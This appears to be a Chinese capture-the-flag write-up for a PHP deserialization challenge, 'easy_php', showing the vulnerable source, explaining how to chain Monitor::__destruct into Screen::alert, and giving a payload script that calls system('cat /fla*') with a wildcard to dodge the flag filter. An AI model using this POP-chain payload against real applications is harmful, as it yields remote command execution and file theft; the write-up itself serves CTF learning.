【青少年CTF S1·2026 公益赛】easy_php

php 复制代码
<?php
// 屏蔽报错,增加一点黑盒难度
error_reporting(0);
// TIPS: FLAG在根目录下

class Monitor {
    private $status;
    private $reporter;

    public function __construct() {
        $this->status = "normal";
        $this->reporter = new Logger();
    }

    public function __destruct() {
        // 当对象销毁时,如果状态是 danger,则触发报警
        if ($this->status === "danger") {
            $this->reporter->alert();
        }
    }
}

class Logger {
    public function alert() {
        echo "System normal. No alert needed.\n";
    }
}

class Screen {
    public $content;
    public $format;

    public function alert() {
        // 这里的调用看起来像是一个格式化输出
        $func = $this->format;
        return $func($this->content);
    }
}

// 入口点
if (isset($_GET['code'])) {
    $input = $_GET['code'];

    // 简单的过滤,不允许直接输入 flag 关键字,但这不影响反序列化过程
    if (preg_match('/flag/i', $input)) {
        die("No flag here!");
    }

    unserialize($input);
} else {
    highlight_file(__FILE__);
}
?>

PHP 反序列化 (POP 链构造)题目

php 复制代码
入口点:unserialize($_GET['code']),存在反序列化漏洞。
过滤:preg_match('/flag/i', $input) 禁止输入中出现 flag 字符串。

那么我们先寻找利用点,下面这段代码想办法把func变成system,然后this->content变成cat /flag

php 复制代码
public function alert() {
        // 这里的调用看起来像是一个格式化输出
        $func = $this->format;
        return $func($this->content);
    }

那么我们如何调用Screen类下的alert()函数呢?

可以看到在Monitor中会调用alert()函数

php 复制代码
public function __destruct() {
        // 当对象销毁时,如果状态是 danger,则触发报警
        if ($this->status === "danger") {
            $this->reporter->alert();
        }
    }

但是这里有一个问题,在Monitor的构造函数中,发现$this->reporter = new Logger(),reporter会new Logger()

但是这个Logger不是我们想要的

php 复制代码
public function __construct() {
        $this->status = "normal";
        $this->reporter = new Logger();
    }

因此我们要想办法将Logger替换为Screen

最后Monitor销毁的时候会自动调用__destruct()实现攻击

思路整理如下:

php 复制代码
我们需要做的事情:
1、在Screen类中
将$format = 'system'
将$content = 'cat /flag'

2、在Monitor类中
将$status = 'danger'
将$reporter = new Screen()

我的payload如下

php 复制代码
<?php

class Monitor {
    private $status;
    private $reporter;

    public function __construct() {
        $this->status = "danger";
        $this->reporter = new Screen(); # new 一个对象的话必须要使用__construct,不能直接赋值给静态变量
    }

}


class Screen {
    public $content = "cat /fla*";  # 通过通配符绕过flag过滤
    public $format = "system";  # 静态变量可以直接这样赋值


}

$exp = new Monitor();
echo(urlencode(serialize($exp)));

?>

下面是原作者的图

这里我直接本机演示下我的payload是否可行,尝试执行whoami命令,是正常可用的

相关推荐
kingx32 小时前
Bugku 逆向 MatrixHunter:黑盒 oracle + GF(2) 消元出唯一解
网络安全·矩阵·逆向·ctf
菩提小狗21 小时前
每日安全情报报告 · 2026-11-07
网络安全·漏洞·cve·安全情报·每日安全
不庸.1 天前
theHarvester 入门教程:从装好到看懂输出
安全·web安全·网络安全·开源·安全性测试
liferecords2 天前
OpenAI 把「Critical」级挖洞模型交付出去了:GPT-6 Cyber 正式发布,越界率压到 1% 以下
网络安全·openai·ai安全·模型发布
FungLeo2 天前
成为全栈·基础补充·Web 安全基础:XSS、CSRF 与 SQL 注入
web安全·网络安全·xss·csrf·sql注入·成为全栈
菩提小狗3 天前
每日安全情报报告 · 2026-11-05
网络安全·漏洞·cve·安全情报·每日安全
QZ166560951593 天前
政务泛监测体系能力排行:AI 重塑监测边界,治理的颗粒度革命
网络·人工智能·安全·网络安全·政务
0xBADCODE3 天前
2026 强网杯 Web 题 cwp · 全链路复盘
前端·安全·web安全·网络安全·系统安全·ctf
其实防守也摸鱼4 天前
个人学习 Pwn 思路:从基础到漏洞利用的进阶路径
大数据·前端·人工智能·chrome·算法·安全·网络安全
m0_715674434 天前
政务泛监测体系能力排行:AI 重塑监测边界,治理的颗粒度革命
大数据·网络·人工智能·安全·网络安全·政务